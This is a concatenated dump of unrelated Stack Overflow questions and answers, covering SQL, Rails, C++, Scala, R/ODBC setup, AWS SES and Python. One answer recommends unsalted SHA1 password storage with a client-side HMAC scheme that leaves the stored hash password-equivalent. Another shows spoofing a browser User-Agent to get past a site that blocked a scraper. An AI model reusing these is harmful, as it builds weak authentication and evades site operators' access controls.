pins.user_id = users.user_id LEFT JOIN `boards` ON pins.board_id = boards.board_id LEFT JOIN `users` AS `via` ON pins.via = via.user_id INNER JOIN (SELECT @curRow:=- 1) AS `row` WHERE (pins.user_id = 57610 OR IF(pins.user_id = 57610, 1, pins.public) = 1) AND (pins.latitude &lt;= 40.78666477795 AND pins.latitude &gt;= 40.64193322205 AND pins.longitude &lt;= - 73.910342436525 AND pins.longitude &gt;= - 74.101288363475) AND (pins.user_id = 57610 OR pins.user_id IN (SELECT user_id FROM users WHERE public = 1)) ORDER BY pins.vip DESC , pins.pin_id DESC LIMIT 30 </code></pre>
6272043	0	How to get custom attributes on .to_json method? <p>For example, i've this model:</p> <pre><code>class User &lt; ActiveRecord::Base def foo bar end end </code></pre> <p>When i do this: &lt;%= User.all.to_json %></p> <p>I get this:</p> <p>[{"user":{"created_at":"2011-06-07T17:40:21-03:00","login":"abcd", "password":"1234","updated_at":"2011-06-07T18:10:04-03:00"}}]</p> <p>How can i get foo on this json too? Also, foo is an activerecord too..</p> <p>Thanks</p>
29792746	0	 <p>This maybe a difficult one for someone with limited Alfresco knowledge, so hopefully you'll understand it.</p> <ol> <li>You'll need to create a repository webscript which takes as input a site and uses siteService methods to get the members and groups. You can peak at the siteMembers Share page which probably uses something similar to show the members and groups. And you'll probably will need to make it searchable :).</li> <li>Change the current custom control which uses the default picker to select users/groups. Probably you'll only need to change the repository webscript url so it goes to the right new webscript. If you don't want to make any more changes, be sure to present the output in the exact same way.</li> <li>You can start a workflow from you personal dashboard of from the my-workflow pages, so there is not always a site. And even if you're starting from a site big changes the site doesn't get passed to the start-workflow page. So you'll need to get the destination nodeRef (the node you're starting the workflow on) send it as param to your repository webscript and let it determine which site it is in.</li> </ol> <p>First change the custom control which selects the assignee. This control goes to a repository webscript which shows/searches all the users/groups.</p>
961085	0	 <p>There are exactly two relations with no attributes, one with an empty tuple, and one without. In <a href="http://en.wikipedia.org/wiki/The_Third_Manifesto" rel="nofollow noreferrer">The Third Manifesto</a>, Date and Darwen (somewhat) humorously name them <code>TABLE_DEE</code> and <code>TABLE_DUM</code> (respectively).</p> <p>They are useful to the extent that they are the identity of a variety of relational operators, playing roles equivalent to 1 and 0 in ordinary algebra.</p>
17089584	0	Why can't I emplace ifstreams in a vector? <p>The following example program doesn't compile for me on either clang 3.1 or gcc 4.8:</p> <pre><code>#include &lt;fstream&gt; #include &lt;vector&gt; using namespace std; int main() { vector&lt;ifstream&gt; bla; bla.emplace_back("filename"); return 0; } </code></pre> <p>However, I thought emplace_back should </p> <blockquote> <p>"Insert a new element at the end of the vector, right after its current last element. This new element is constructed in place using args as the arguments for its construction."</p> </blockquote> <p>Does anyone know why this doesn't compile then? did I misunderstand or are the library implementations not yet complete?</p>
23913212	0	 <p>Please change your </p> <pre><code>default_validation_class = UTF8Type to default_validation_class = LongType </code></pre> <p>It should work.</p>
5907853	0	 <p>@jason;</p> <p>i saw it in IE may you have to define <code>width</code> <code>like width:200px;</code> to your #footerdetails div because in IE7 it's take <code>width 100%</code> of the screen.</p> <p>css</p> <pre><code>#footerdetails { color: #FFFFFF; display: block; height: 100px; left: 0; position:fixed; text-align: right; top: 0; width: 200px; z-index: 100; } </code></pre>
17796347	0	 <p>Unfortunately, no, this isn't currently possible in an official or supported way. These shared links don't offer any metadata or API for access like this.</p>
1797502	0	Is there a scala identity function? <p>If I have something like a <code>List[Option[A]]</code> and I want to convert this into a <code>List[A]</code>, the standard way is to use <code>flatMap</code>:</p> <pre><code>scala&gt; val l = List(Some("Hello"), None, Some("World")) l: List[Option[java.lang.String]] = List(Some(Hello), None, Some(World)) scala&gt; l.flatMap( o =&gt; o) res0: List[java.lang.String] = List(Hello, World) </code></pre> <p>Now <code>o =&gt; o</code> is just an identity function. I would have thought there'd be some way to do:</p> <pre><code>l.flatMap(Identity) //return a List[String] </code></pre> <p>However, I can't get this to work as you can't generify an <code>object</code>. I tried a few things to no avail; has anyone got something like this to work?</p>
7171015	0	 <p>Well you could use python itself to reverse the line through the filter command. Say the text you had written was: </p> <pre><code>Python </code></pre> <p>You could reverse it by issuing.</p> <pre><code>:1 ! python -c "print raw_input()[::-1]" </code></pre> <p>And your text will be replaced to become:</p> <pre><code>nohtyP </code></pre> <p>The "1" in the command tells vi to send line 1 to the python statement which we are executing: "print raw_input()[::-1]". So if you wanted some other line reversed, you would send that line number as argument. The python statement then reverses the line of input. </p>
19262644	0	How to pass a NSMutableArray including NSManagedObjects to another view controller? <p>I embedded 'Core Data' into my app. I use a predicate and fetch the result. I use a mutableArray called "fetchedObjects" to get the (predicated and then fetched) result. Now I need to pass this result to another view controller. How can I do that?</p> <p>1.First thing I tried is using 'NSCoding' but it didn't work out. I think Core Data doesn't comply with NSCoding, am I right? </p> <p>If I can use 'NSCoding', how do I do it? I tried to save and then load the fetchedObjects but it didn't work out.</p> <p>2.Off course I can define a pointer using </p> <pre><code>"product = [[Product alloc] initWithEntity:entity insertIntoManagedObjectContext:self.managedObjectContext];" </code></pre> <p>but how can I get just the "fetchedObjects" mutableArray but not all the objects?</p> <p>3.Do you know a better way to pass a NSMutableArray having NSManagedObjects in it? and how can we pass the NSManagedObjects to the other view controllers, only in the context?</p> <p>Thanks!</p>
12114308	0	Table view button shows up after I scroll down page one time <p>I am trying to add a custom radio button to each cell in a table view. When I first view the table view, I can't see any radio button. But when I scroll down I can see radio buttons on each cell underneath the initial cells that are seen when the view is first loaded. And once a cell that didn't have a radio button on it goes out of view, and I go back to view that cell, the radio button appears.</p> <p>Here is my code for this one method:</p> <pre><code> - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *ImageCellIdentifier = @"Cell"; UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:ImageCellIdentifier]; if (cell == nil) { cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:ImageCellIdentifier]; cell.accessoryType = UITableViewCellAccessoryNone; } _radioBtn.frame = CGRectMake(275, 3,36,36); _radioBtn = [UIButton buttonWithType:UIButtonTypeCustom]; [_radioBtn setImage:[UIImage imageNamed:@"Radio-Btn.png"] forState:UIControlStateNormal]; [cell.contentView addSubview:_radioBtn]; NSString *cellValue = [_arrayRelat objectAtIndex:indexPath.row]; cell.textLabel.text = cellValue; cell.textLabel.textColor = [UIColor colorWithRed:(88.0/255.0) green:(88.0/255.0) blue:(89.0/255.0) alpha:1]; return cell; } </code></pre> <p>Let me know if you don't understand the question.</p>
38828203	0	 <p>I solved it by going with gulp-tap.</p> <pre><code>conf.plugScss.files.forEach(function (file, index, files) { gulp.src(file) .pipe(rename({ prefix: "_", extname: ".scss" })) .pipe(tap(function (file, t) { file.contents = Buffer.concat([ new Buffer('HEADER'), file.contents ]); var fileCheck = function(err, stat) { if (err !== null &amp;&amp; err.code == 'ENOENT') { fs.writeFile('dist/' + file.path.split('/').reverse()[0], file.contents) } return null; } fs.stat('dist/' + file.path.split('/').reverse()[0], fileCheck.bind(this)); })); // for when gulp 4.0 releases // .pipe(gulp.dest(conf.plugScss.dist, {overwrite: false})) }); </code></pre>
16823573	0	netbeans c++ with mysql windows <p>I am using netbeans 7 (c++) to connect to mySQL using Boost libraries (boost_1_53_0) and the required mySql C++ libraries (include and Lib) I added the path of the libraries in the project properties->C++ Compiler->include directories.</p> <p>I also added the path of the libraries in project properties->linker->include directories. Finally I added the mysqlcppconn.dll to project properties->linker->libraries</p> <p>this is the program: I'm just testing </p> <pre><code>#include &lt;cstdlib&gt; using namespace std; #include "cppconn/driver.h" #include "cppconn/connection.h" /* */ int main(int argc, char** argv) { sql::Driver *driver ; sql ::Connection *conn; driver = get_driver_instance(); conn = driver-&gt;connect("localhost","root","1qaz"); return 0; } </code></pre> <p>I've got this error at the output: /cygdrive/c/Users/NetBeansProjects/CppApplication_3/dist/Debug/Cy gwin-Windows/cppapplication_3.exe: error while loading shared libraries: mysqlcp pconn.dll: cannot open shared object file: No such file or directory</p> <p>I tried some of the suggested solutions about icluding the libraries but it still nothing any suggestions</p>
39631439	0	Receiving Domain Emails using Amazon AWS SES <p>I am using AWS SES for sending emails using my domain name. The sending works fine. But now I want to receive all the emails sent using my domain like abc@example.com in SES.</p> <p>I am trying to receive emails using rule set defined to execute Lambda function or to store emails in S3 bucket.</p> <p>When I try to send email using gmail to my domain email, it is not received in S3 bucket and Lambda function is also not executed.</p> <p>I have done following things so far:</p> <ol> <li><p>Verified my domain with SES, (CNAME, TXT entries on my DNS provider i.e. GoDaddy)</p> <p>Added MX record for my domain in DNS settings</p> <p>Defined rule set for receiving emails for abc@example.com &amp; store emails in S3 bucket.</p></li> </ol> <p>Right now when I send email to this address I don't get anything in S3 bucket. I don't even receive delivery failure notification (This means MX record is working fine with my domain provider)</p> <p>Please help.</p>
19320063	0	Installing ElasticSearch on Nitrous.io? <p>I'm trying to use Elasticsearch on Nitrous.io.</p> <p>I'm following <a href="https://shellycloud.com/blog/2013/10/adding-search-and-autocomplete-to-a-rails-app-with-elasticsearch" rel="nofollow">this tutorial</a> but when trying to reindex the model I get this error</p> <pre><code>action@learning-rails-1868:~/fayl$ rake searchkick:reindex CLASS=Fail rake aborted! Connection refused - connect(2) /home/action/.rvm/gems/ruby-1.9.3-p374/gems/rest-client-1.6.7/lib/restclient/request.rb:172:in `transmit' /home/action/.rvm/gems/ruby-1.9.3-p374/gems/rest-client- 1.6.7/lib/restclient/request.rb:64:in `execute' /home/action/.rvm/gems/ruby-1.9.3-p374/gems/tire-0.6.0/lib/tire/http/client.rb:11:in `get' /home/action/.rvm/gems/ruby-1.9.3-p374/gems/searchkick-0.2.8/lib/searchkick/reindex.rb:43:in `clean_indices' /home/action/.rvm/gems/ruby-1.9.3-p374/gems/searchkick-0.2.8/lib/searchkick/reindex.rb:10:in `reindex' /home/action/.rvm/gems/ruby-1.9.3-p374/gems/searchkick-0.2.8/lib/searchkick/tasks.rb:10:in `block (2 levels) in &lt;top (required)&gt;' /home/action/.rvm/gems/ruby-1.9.3-p374/bin/ruby_noexec_wrapper:14:in `eval' /home/action/.rvm/gems/ruby-1.9.3-p374/bin/ruby_noexec_wrapper:14:in `&lt;main&gt;' Tasks: TOP =&gt; searchkick:reindex </code></pre> <p>I'm not sure I've installed Elasticsearch on Nitrous.io properly. Has anyone managed to do this successfully? Or can you point to a guide for how to implement this?</p>
23318854	1	Python program using lists <p>I am trying to write a program that displays an employee's id, their hours, payrate, and wages. </p> <p>The second part of the program requires that the user enter an employee's Id so that their wage will be displayed. </p> <p>The first part of my program works fine up until <code>pay=input()</code>. When I try to run it with the second part, it says that there is a syntax error. </p> <p>Here is my program:</p> <pre><code>employeeId=[56588,45201,78951,87775,84512,13028,75804] hours=[40,41,42,43,44,45,46] payrate=[13.60,13.50,13.40,13.30,13.20,13.10,13.00] wages=[544.00,553.50,562.80,571.90,580.80,589.50,598.00] print('employeeId\thours\t\tpayRate\t\twages') print(employeeId[0],'\t\t',hours[0],'\t\t',payrate[0],'\t\t',wages[0]) print(employeeId[1],'\t\t', hours[1],'\t\t',payrate[1],'\t\t',wages[1]) print(employeeId[2],'\t\t',hours[2],'\t\t',payrate[2],'\t\t',wages[2]) print(employeeId[3],'\t\t',hours[3],'\t\t',payrate[3],'\t\t',wages[3]) print(employeeId[4],'\t\t',hours[4],'\t\t',payrate[4],'\t\t',wages[4]) print(employeeId[5],'\t\t',hours[5],'\t\t',payrate[5],'\t\t',wages[5]) print(employeeId[6],'\t\t',hours[6],'\t\t',payrate[6],'\t\t',wages[6]) pay=input("Would you like to a see a specific employee's gross pay? Y/N:") if pay=='Y'or pay=='y': ID=input('enter employee Id:') if ID=='56588': print(ID': $',wages[0]) elif ID=='45201': print(ID': $',wages[1]) elif ID=='78951': print(ID': $',wages[2]) elif ID=='87775': print(ID': $',wages[3]) elif ID=='84512': print(ID': $',wages[4]) elif ID=='13028': print(ID': $',wages[5]) elif ID=='75804': print(ID': $',wages[6]) else: print(' ') </code></pre> <p>I'm seeing the following syntax error:</p> <pre><code> File "code.py", line 19 print(ID': $',wages[0]) ^ SyntaxError: invalid syntax </code></pre>
7667601	0	 <p>Why not store the passwords in the database with SHA1, then use HMAC with a client specified key for the communication?</p> <p>Have the server generate a random key and send it with the login request. The client computes the SHA1 hash of the password, then computes the HMAC SHA1 hash of that using the server-specified key. The server then verifies that the result is correct.</p> <p>On the client end:</p> <pre><code>// password is the plaintext password // keyb64 is a random key specified by the server, encoded in base64. string ComputeSecureHash(string password, string keyb64) { byte[] data = Encoding.UTF8.GetBytes(password); byte[] key = Convert.FromBase64String(keyb64); byte[] hash; byte[] machash; // compute a plain SHA1 hash of the specified data using (SHA1Managed sha1 = new SHA1Managed()) { hash = sha1.ComputeHash(data); } // now compute a HMAC hash of that hash, using the random key. using (HMACSHA1 sha1mac = new HMACSHA1(key)) { machash = sha1mac.ComputeHash(hash); } return Convert.ToBase64String(machash); } </code></pre> <p>On the server end:</p> <pre><code>// hash is the string produced by the function above // realHash is the SHA1 hash of the real password, which you've fetched from the db // key is the key you generated for this login session bool VerifyHash(string hash, byte[] realHash, byte[] key) { byte[] machash; using (HMACSHA1 sha1mac = new HMACSHA1(key)) { machash = sha1mac.ComputeHash(realHash); } return (Convert.ToBase64String(machash) == hash); } </code></pre> <p>This allows you to authenticate over a plaintext medium without having the password cracked. </p>
25063655	0	 <p>I've had this had this problem too. I save most of my SVG files from Adobe Illustrator. For whatever reason it tacked in <code>overflow="scroll"</code> in the SVG tag on a few of my files. Removing this fixed the problem for me.</p>
24859051	0	 <p>It is a shorthand way to reference to the route, by using</p> <pre><code>@Html.RouteLink("Privacy"); </code></pre> <p>Here an article on ASP.NET about routing, which helped me a lot...</p> <p><a href="http://www.asp.net/mvc/tutorials/older-versions/controllers-and-routing/asp-net-mvc-routing-overview-cs">ASP.NET MVC Routing Overview (C#)</a></p>
33462384	0	 <p>The <code>tsplot</code> of seaborn is not meant to plot a simple timeseries line plot, but to plot uncertainties, see:<a href="https://stanford.edu/~mwaskom/software/seaborn/generated/seaborn.tsplot.html">https://stanford.edu/~mwaskom/software/seaborn/generated/seaborn.tsplot.html</a>. </p> <p>For a line plot, you can simply do</p> <pre><code>df.set_index('Date').plot() </code></pre>
27330514	0	Continuing sessions using JSESSIONID <p>I have a web application which requires <code>username and password authentication</code> to enter.</p> <p>What I am doing is, authenticate a user from a stand alone <code>Java app</code>, which would do so by making <code>Http</code> request to the server using <code>username</code> and <code>password</code>. Then I would retrieve <code>JSESSIONID</code> cookie from response of server.</p> <p>Now what I want is to use this <code>JSESSIONID</code> to continue session on browser i.e. to let <code>user</code> navigate pages of my web app which would be opened by my stand alone java app which I use for authentication.</p> <p><strong>Is this possible?</strong> Or is there any other way to do so.</p>
21812622	0	 <p>Try with something like this</p> <pre><code>db.collectionName.find({:barsIds =&gt; {"$in" =&gt; BSON::ObjectId("5300c6ba4a5ce5614bcd5d9a")}}) </code></pre>
17836637	0	 <p>If you're happy to just update the database at the end, you can get the job name and run time from the <code>IJobExecutionContext</code>:</p> <pre><code>public void JobWasExecuted(JobExecutionContext context, JobExecutionException jobException) { var sql = @"INSERT INTO MyJobAuditHistory (JobKey, RunTime, Status, Exception) VALUES (?, ?, ?, ?)"; // create command etc. command.Parameters.Add(context.JobDetail.Key.ToString()); command.Parameters.Add(context.JobRunTime); command.Parameters.Add(jobException == null ? "Success" : "Fail"); command.Parameters.Add(jobException == null ? null : jobException.Message); } </code></pre>
39790991	0	 <p>The best way to do this (in my opinion) is to actually combine @serge1peshcoff's two options. Write the call as a function that calls itself when the response fails, <em>and</em> set a timeout when doing so. For most purposes, you don't want to send another request immediately after the previous one, you want to wait at least a second or five to prevent spamming the server (you've also given no indication of how many clients you expect. What's bad for your browser is potentially horrible for the server, which may be handling requests even before your web app is fully up and returning 200). </p> <p>Also, setTimeout is a better approach than setInterval, as you explicitly reset it on each round trip. </p> <p>Borrowing from @serge:</p> <pre><code>function tryRequest(numTries) { var responseStatus = 404; var request = new XMLHttpRequest(); numTries = numTries || 0; console.log("Checking if restart has completed. Attempt number: " + numAttempts); request.open('GET', 'applicationurl', true); request.onreadystatechange = function(){ numTries++ if (request.readyState === 4){ console.log("Request Status: " + request.status); responseStatus = request.status; console.log("Response Status: " + request.status); if (request.status != 200) { console.log("Restart has not yet completed! NumberOfTries: " + this.attempts); setTimeout(tryRequest.bind(null, numTries), 5000); // five seconds } } }; request.send(); console.log("Server has successfully restarted"); } tryRequest(); </code></pre>
37114120	0	 <p>Use this <a href="http://stackoverflow.com/questions/35050746/web-scraping-how-to-access-content-rendered-in-javascript-via-angular-js">link</a> to get a better overview. <br/> To answer your question more precisely, <strong>Paytm</strong> gets data in js files about the product. Following link gives data about any product listed at <strong>Paytm</strong>: <br/> <a href="https://catalog.paytm.com/v1/p/" rel="nofollow">https://catalog.paytm.com/v1/p/</a><strong>product-url</strong>&amp;callback=angular.callbacks._0&amp;channel=web&amp;version=2 <br/> The link given by you: <br/> <a href="https://paytm.com/shop/p/masha-mauve-satin-nighty-WNIGHW000NT14_45BBPPFR?src=search-grid&amp;tracker=autosuggest%7Cundefined%7Cmasha%20nighty%7Cgrid%7CSearch%7C1" rel="nofollow">https://paytm.com/shop/p/masha-mauve-satin-nighty-WNIGHW000NT14_45BBPPFR?src=search-grid&amp;tracker=autosuggest%7Cundefined%7Cmasha%20nighty%7Cgrid%7CSearch%7C1</a>. <br/> <strong>product-url</strong> : <br/> masha-mauve-satin-nighty-WNIGHW000NT14_45BBPPFR?src=search-grid&amp;tracker=autosuggest%7Cundefined%7Cmasha%20nighty%7Cgrid%7CSearch%7C1 <br/> Hope it helps you.</p>
16272185	0	 <p>I ran into this over the weekend at a hackathon on Mac OSX - took me a solid 4 hours to piece everything together despite having a few reference materials (mentioned at the end). I didn't find an easy walk-through, so I decided to post one while it is fresh in my mind.</p> <p>I'm not sure of the compatibility with Windows, but hopefully these instructions will make it easier for you too.</p> <p>I was trying to get R and MySQL to communicate in a local environment (there may need to be changes for a server environment). I use XAMPP (though I didn't use RMySQL for the connection), but in the end I was able to use a PHP page to write an R file, execute that file, and have R write to a MySQL table. To the best of my knowledge this only works for MacOSX...</p> <p>All software used was in dmg form so no binary installs necessary.</p> <ol> <li><p><a href="https://cran.r-project.org/bin/macosx/" rel="nofollow noreferrer">Download R</a> and run some basic commands to make sure that you have it working.</p></li> <li><p>In R, you need to install RODBC (if you don't have it already). Type this into the R console.</p></li> </ol> <pre><code>install.packages("RODBC") </code></pre> <p>This installs RODBC, but since OS Mavericks, certain files are no longer included, so you get an error message </p> <blockquote> <p>ODBC headers sql.h and sqlext.h not found</p> </blockquote> <p>and you need to get the sql.h and sqlext.h files in the right place.</p> <p>To do this the easiest way, make sure that you have <a href="http://brew.sh/" rel="nofollow noreferrer">homebrew</a> installed (easy instructions). Then use this <a href="http://stackoverflow.com/a/29214529/2330917">code</a> in terminal to make the install.</p> <p>Once that's done, you enter into the R console one more time</p> <pre><code>install.packages("RODBC") </code></pre> <ol start="3"> <li><p>Search <a href="https://dev.mysql.com/downloads/connector/odbc/" rel="nofollow noreferrer">MySQL for the appropriate ODBC installation</a>. I'm running Mac OSX 10.6 so I downloaded the dmg and installed it. This took care of itself.</p></li> <li><p>Now comes the tricky part. Apparently Mac OX took out the ODBC Administrator after a recent OS release, so you need to download ODBC Manager (<a href="http://www.odbcmanager.net/" rel="nofollow noreferrer">http://www.odbcmanager.net/</a>). It too is a dmg file so just drag and drop to your utilities folder.</p></li> </ol> <p>I had difficulties with the 5.3.6 dmg install (kept failing), so I installed 5.2.7 instead.</p> <ol start="5"> <li><p>Open ODBC Manager. You need to configure the DSN, so click the tab "System DSN" and click "add". </p></li> <li><p>You'll get a popup window asking you to select a driver. Mine had "MySQL ODBC 5.2 Driver" based on my MySQL ODBC install. Click "Ok". If you don't see the driver, then you need to confirm that the MySQL ODBC installed.</p></li> <li><p>In the next popup window, make the Data Source Name (DSN) whatever you want - but remember that this is the name you need to use to call from R. In the keyword area below (keywords will be in quotes and the value will be in parentheses), ADD</p> <p>"database" (with value of your database name)</p> <p>"server" (for the local environment do NOT use localhost - instead use the local IP address 127.0.0.1. *** This was the KEY piece for me)</p> <p>"uid" (database user ID)</p> <p>"pwd" (database password)</p> <p>"socket" (not sure if this was required, but after multiple tutorials it was left in my configuration and things work, so maybe you need it. You can find your socket location in my.cnf - do a spotlight search. The socket file location is under CLIENT)</p> <p>Here's what my configuration looked like:</p> <p>DSN ("test" - this was the at the top)</p> <p>database ("televisions")</p> <p>socket ("/Applications/XAMPP/xamppfiles/var/mysql.sock")</p> <p>uid ("root")</p> <p>pwd ("")</p> <p>server ("127.0.0.1")</p></li> <li><p>In R, execute below - I believe these last 3 steps need to be done every time you start R and before you make a MySQL query.</p> <p>library(RODBC)</p></li> <li><p>Make sure that you've turned on MySQL and Apache from the XAMPP control panel.</p></li> <li><p>Then execute</p> <p>odbcConnect("test") - notice how I used my DSN in the double quotes. Interchange as necessary.</p></li> </ol> <p>This should get you up and running. You can read other tutorials about making MySQL queries in R.</p> <p>I hacked this together from a lot of great posts on Stack Overflow (thanks everyone!), random other sites/email exchange histories, and the "R In A Nutshell" book by Joseph Adler, but let me know if I missed something or it's unclear.</p> <p>Good luck!</p>
34579890	0	 <p>The wording is a bit confusing. The whole paragraph is talking about the case where no prototype has been declared for the function at the time it is called, so the section you highlighted is for the case where no prototype is declared when the function is called, but a prototype is used when the function is defined. Here is an example:</p> <pre><code>int main(int argc,char** argv) { f(3.0f); /* undefined behavior */ g(3.0); /* undefined behavior */ } int f(float v) { return v; } int g(double v,...) { return v; } </code></pre> <p>In this example, when <code>f</code> is called, no prototype has been declared, so <code>3.0f</code> is promoted to a <code>double</code>. However, the function is later defined with a prototype which takes a <code>float</code> instead of a <code>double</code>, so the behavior is undefined.</p> <p>Likewise for <code>g</code>, the behavior is undefined because the elipses are used in the prototype of the definition.</p>
18886564	0	 <p>You can inspect the page to find out all the fields need to be posted. There is <a href="http://discover-devtools.codeschool.com/" rel="nofollow">a nice tutorial</a> for <code>Chrome DevTools</code>. Other tools like <code>FireBug</code> on FireFox or <code>DragonFly</code> on Opera also do the work while I recommend <code>DevTools</code>.</p> <p>After you post a query. In the <code>Network</code> panel, you can see the form data which actually been sent. In this case:</p> <pre><code>__EVENTTARGET: __EVENTARGUMENT: __LASTFOCUS: __VIEWSTATE:5UILUho/L3O0HOt9WrIfldHD4Ym6KBWkQYI1GgarbgHeAdzM9zyNbcH0PdP6xtKurlJKneju0/aAJxqKYjiIzo/7h7UhLrfsGul1Wq4T0+BroiT+Y4QVML66jsyaUNaM6KNOAK2CSzaphvSojEe1BV9JVGPYWIhvx0ddgfi7FXKIwdh682cgo4GHmilS7TWcbKxMoQvm9FgKY0NFp7HsggGvG/acqfGUJuw0KaYeWZy0pWKEy+Dntb4Y0TGwLqoJxFNQyOqvKVxnV1MJ0OZ4Nuxo5JHmkeknh4dpjJEwui01zK1WDuBHHsyOmE98t2YMQXXTcE7pnbbZaer2LSFNzCtrjzBmZT8xzCkKHYXI31BxPBEhALcSrbJ/QXeqA7Xrqn9UyCuTcN0Czy0ZRPd2wabNR3DgE+cCYF4KMGUjMUIP+No2nqCvsIAKmg8w6Il8OAEGJMAKA01MTMONKK4BH/OAzLMgH75AdGat2pvp1zHVG6wyA4SqumIH//TqJWFh5+MwNyZxN2zZQ5dBfs3b0hVhq0cL3tvumTfb4lr/xpL3rOvaRiatU+sQqgLUn0/RzeKNefjS3pCwUo8CTbTKaSW1IpWPgP/qmCsuIovXz82EkczLiwhEZsBp3SVdQMqtAVcYJzrcHs0x4jcTAWYZUejvtMXxolAnGLdl/0NJeMgz4WB9tTMeETMJAjKHp2YNhHtFS9/C1o+Hxyex32QxIRKHSBlJ37aisZLxYmxs69squmUlcsHheyI5YMfm0SnS0FwES5JqWGm2f5Bh+1G9fFWmGf2QeA6cX/hdiRTZ7VnuFGrdrJVdbteWwaYQuPdekms2YVapwuoNzkS/A+un14rix4bBULMdzij25BkXpDhm3atovNHzETdvz5FsXjKnPlno0gH7la/tkM8iOdQwqbeh7sG+/wKPqPmUk0Cl0kCHNvMCZhrcgQgpIOOgvI2Fp+PoB7mPdb80T2sTJLlV7Oe2ZqMWsYxphsHMXVlXXeju3kWfpY+Ed/D8VGWniE/eoBhhqyOC2+gaWA2tcOyiDPDCoovazwKGWz5B+FN1OTep5VgoHDqoAm2wk1C3o0zJ9a9IuYoATWI1yd2ffQvx6uvZQXcMvTIbhbVJL+ki4yNRLfVjVnPrpUMjafsnjIw2KLYnR0rio8DWIJhpSm13iDj/KSfAjfk4TMSA6HjhhEBXIDN/ShQAHyrKeFVsXhtH5TXSecY6dxU+Xwk7iNn2dhTILa6S/Gmm06bB4nx5Zw8XhYIEI/eucPOAN3HagCp7KaSdzZvrnjbshmP8hJPhnFhlXdJ+OSYDWuThFUypthTxb5NXH3yQk1+50SN872TtQsKwzhJvSIJExMbpucnVmd+V2c680TD4gIcqWVHLIP3+arrePtg0YQiVTa1TNzNXemDyZzTUBecPynkRnIs0dFLSrz8c6HbIGCrLleWyoB7xicUg39pW7KTsIqWh7P0yOiHgGeHqrN95cRAYcQTOhA== __SCROLLPOSITIONX:0 __SCROLLPOSITIONY:106 __VIEWSTATEENCRYPTED: __EVENTVALIDATION:g2V3UVCVCwSFKN2X8P+O2SsBNGyKX00cyeXvPVmP5dZSjIwZephKx8278dZoeJsa1CkMIloC0D51U0i4Ai0xD6TrYCpKluZSRSphPZQtAq17ivJrqP1QDoxPfOhFvrMiMQZZKOea7Gi/pLDHx42wy20UdyzLHJOAmV02MZ2fzami616O0NpOY8GQz1S5IhEKizo+NZPb87FgC5XSZdXCiqqoChoflvt1nfhtXFGmbOQgIP8ud9lQ94w3w2qwKJ3bqN5nRXVf5S53G7Lt+Du78nefwJfKK92BSgtJSCMJ/m39ykr7EuMDjauo2KHIp2N5IVzGPdSsiOZH86EBzmYbEw== ctl00$MainContent$hdnApplyMasterPageWitoutSidebar:0 ctl00$MainContent$hdn1:0 ctl00$MainContent$CorpSearch:rdoByEntityName ctl00$MainContent$txtEntityName:GO ctl00$MainContent$ddBeginsWithEntityName:M ctl00$MainContent$ddBeginsWithIndividual:B ctl00$MainContent$txtFirstName: ctl00$MainContent$txtMiddleName: ctl00$MainContent$txtLastName: ctl00$MainContent$txtIdentificationNumber: ctl00$MainContent$txtFilingNumber: ctl00$MainContent$ddRecordsPerPage:25 ctl00$MainContent$btnSearch:Search Corporations ctl00$MainContent$hdnW:1920 ctl00$MainContent$hdnH:1053 ctl00$MainContent$SearchControl$hdnRecordsPerPage: </code></pre> <p>What I post is <code>Begin with 'GO'</code>. This site is build with <code>WebForms</code>, so there are these long <code>__VIEWSTATE</code> and <code>__EVENTVALIDATION</code> fields. We need send them as well.</p> <p>Now we are ready to make the query. First we need to get a blank form. The following code are written in Python 3.3, through I think they should still work on 2.x.</p> <pre><code>import requests from lxml import etree URL = 'http://corp.sec.state.ma.us/CorpWeb/CorpSearch/CorpSearch.aspx' def get_fields(): res = requests.get(URL) if res.ok: page = etree.HTML(res.text) fields = page.xpath('//form[@id="Form1"]//input') return { e.attrib['name']: e.attrib.get('value', '') for e in fields } </code></pre> <p>With <code>get_fields()</code>, we fetched all <code>&lt;input&gt;</code>s from the form. Note there are also <code>&lt;select&gt;</code>s, I will just hardcode them.</p> <pre><code>def query(data): formdata = get_fields() formdata.update({ 'ctl00$MainContent$ddRecordsPerPage':'25', }) # Hardcode some &lt;select&gt; value formdata.update(data) res = requests.post(URL, formdata) if res.ok: page = etree.HTML(res.text) return page.xpath('//table[@id="MainContent_SearchControl_grdSearchResultsEntity"]//tr') </code></pre> <p>Now we have a generic <code>query</code> function, lets make a wrapper for specific ones.</p> <pre><code>def search_by_entity_name(entity_name, entity_search_type='B'): return query({ 'ctl00$MainContent$CorpSearch':'rdoByEntityName', 'ctl00$MainContent$txtEntityName': entity_name, 'ctl00$MainContent$ddBeginsWithEntityName': entity_search_type, }) </code></pre> <p>This specific example site use a group of <code>&lt;radio&gt;</code> to determine which fields to be used, so <code>'ctl00$MainContent$CorpSearch':'rdoByEntityName'</code> here is necessary. And you can make others like <code>search_by_individual_name</code> etc. by yourself.</p> <p>Sometimes, website need more information to verify the query. By then you could add some <a href="http://docs.python-requests.org/en/latest/user/quickstart/#custom-headers" rel="nofollow">custom headers</a> like <code>Origin</code>, <code>Referer</code>, <code>User-Agent</code> to mimic a browser.</p> <p>And if the website is using JavaScript to generate forms, you need more than <code>requests</code>. <a href="http://phantomjs.org" rel="nofollow"><code>PhantomJS</code></a> is a good tool to make browser scripts. If you want do this in Python, you can use <a href="http://www.riverbankcomputing.co.uk/software/pyqt/" rel="nofollow"><code>PyQt</code></a> with <code>qtwebkit</code>.</p> <p><strong>Update</strong>: It seems the website blocked our Python script to access it after yesterday. So we have to feign as a browser. As I mentioned above, we can add a custom header. Let's first add a <code>User-Agent</code> field to header see what happend.</p> <pre><code>res = requests.get(URL, headers={ 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36', }) </code></pre> <p>And now... <code>res.ok</code> returns <code>True</code>!</p> <p>So we just need to add this header in both call <code>res = requests.get(URL)</code> in <code>get_fields()</code> and <code>res = requests.post(URL, formdata)</code> in <code>query()</code>. Just in case, add <code>'Referer':URL</code> to the headers of the latter:</p> <pre><code>res = requests.post(URL, formdata, headers={ 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36', 'Referer':URL, }) </code></pre>
